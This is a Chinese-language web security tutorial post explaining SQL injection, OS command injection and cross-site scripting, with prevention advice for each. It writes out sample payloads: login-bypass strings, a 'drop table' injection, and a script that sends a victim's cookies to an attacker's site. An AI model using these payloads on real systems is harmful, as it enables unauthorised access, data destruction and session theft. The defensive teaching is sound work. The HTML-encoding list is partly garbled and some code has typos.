Web的脆弱性：各种注入、攻击-网络安全-徐汉涛

SQL注入所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。通过一下的例子更形象的了解SQL注入：
有一个Login画面，在这个Login画面上有两个文本框分别用来输入用户名和密码，当用户点了登录按钮的时候，会对输入的用户名和密码进行验证。验证的SQL语句如下：
select * from student where username='输入的用户名' and password='输入的密码'
如果能够检索到数据，说明验证通过，否则验证不通过。

如果用户在用户名文本框中输入 ' or '1' = '1' or '1' = '1，则验证的SQL语句变成：

select * from student where username='' or '1' = '1' or '1' = '1' and password=''

如果用户在密码文本框中输入 1' or '1' = '1，则验证的SQL语句变成：

select * from student where username='' and password='1' or '1'='1'

以上两个SQL语句的where条件永远是成立的，所以验证永远是有效的。

如果在用户名文本框中输入 tom' ; drop table student-- ，则SQL语句变成：
[sql]
1.       select * from student where username='tom' ; drop table student--' and password=''
这样就变成的两条SQL语句，执行完查询操作，接着直接把student表给删除了（双连接符表示注释）
如何防止SQL注入：
1.       永远不要信任用户的输入。对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和双"-"进行转换等。
2.       永远不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取
3.       永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接
4.       不要把机密信息直接存放，加密或者hash掉密码和敏感的信息
5.       应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装
6.       采用一些工具或网络平台检测是否存在SQL注入
OS命令注入 OS命令注入和SQL注入差不多，只不过SQL注入是针对数据库的，而OS命令注入是针对操作系统的。OS命令注入即能够在服务器上执行任意命令。
如何防止OS命令注入：
1.       不要调用外部程序。举个例子，在UNIX系统上，有一个叫CGI的程序，可以执行sendmail命令来发送邮件。也许你的web应用程序也有发送邮件的功能，通过直接调用CGI程序发送邮件非常的简单，但是不要这样做，因为在执行sendmail命令的同时，也会混杂进其他OS命令，正确的做法是使用发送邮件的library。
2.       过滤调、; ，[ ，] ，| ，< ，> ，\ 之类的符号
3.       设置用户的权限
XSS跨站脚本攻击 XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如javascript)，当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的，比如获取用户的Cookie，导航到恶意网站，携带木马等。
XSS攻击场景有以下两个方面：
1. Dom-Based XSS 漏洞。攻击过程如下
Tom 发现了Victim.com中的Search.asp页面有XSS漏洞，Search.asp的代码如下：

1.       <html>
2.       　　<title></title>
3.       　　<body>
4.       　　　　Results  for  <%Reequest.QueryString("term")%>
5.       　　　　...
6.       　　</body>
7.       </html>
Tom 先建立一个网站，用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下)，通过某种方式(邮件，QQ)发给Monica
?term=<script>window.open("?cookie="+documents.cookie)</script>
Monica点击了这个URL，嵌入在URL中的恶意javascript代码就会在Monica的浏览器中执行，那么Monica在victim.com网站的cookie，就会被发送到badguy网站中，这样Monica在victim.com 的信息就被Tom盗了
2. Stored XSS(存储式XSS漏洞)。该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞，攻击者将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄露的可能。攻击过程如下
Alex发现了网站A上有一个XSS 漏洞，该漏洞允许将攻击代码保存在数据库中，于是Alex发布了一篇文章，文章中嵌入了恶意javascript代码。其他人如Monica访问这片文章的时候，嵌入在文章中的恶意javascript代码就会在Monica的浏览器中执行，其会话cookie或者其他信息将被Alex盗走
Dom-Based XSS漏洞威胁用户个体，而存储式XSS漏洞所威胁的对象将是大量的用户。
如何防止XSS跨站脚本攻击：
原则：不相信用户输入的数据
注意：攻击代码不一定在<script></script>中
1.       将重要的cookie标记为http only，这样的话javascript 中的documents.cookie语句就不能获取到cookie了
2.       只允许用户输入我们期望的数据。例如：年龄的textbox中，只允许用户输入数字，而数字之外的字符都过滤掉
3.       对数据进行Html Encode 处理。< 转化为 <、> 转化为 >、& 转化为 &、' 转化为 '、" 转化为 "、空格转化为  
4.       过滤或移除特殊的Html标签。例如：<script>、<iframe>、< for <、> for >、&quot for
5.       过滤javascript 事件的标签。例如 "onclick="、"onfocus" 等等
很多浏览器都加入了安全机制来过滤XSS（如下图，在ie中输入?wd=<script>alert(documents.cookie)</script>）

Web的脆弱性：各种注入、攻击

时间：2013/4/19 12:10:00 作者：平凡之路　来源：xuhantao.com 浏览：

相关文章

本类热门

本类推荐

本类固顶

Web的脆弱性：各种注入、攻击

时间：2013/4/19 12:10:00 作者：平凡之路 来源：xuhantao.com 浏览：

相关文章

本类热门

本类推荐

本类固顶

时间：2013/4/19 12:10:00 作者：平凡之路　来源：xuhantao.com 浏览：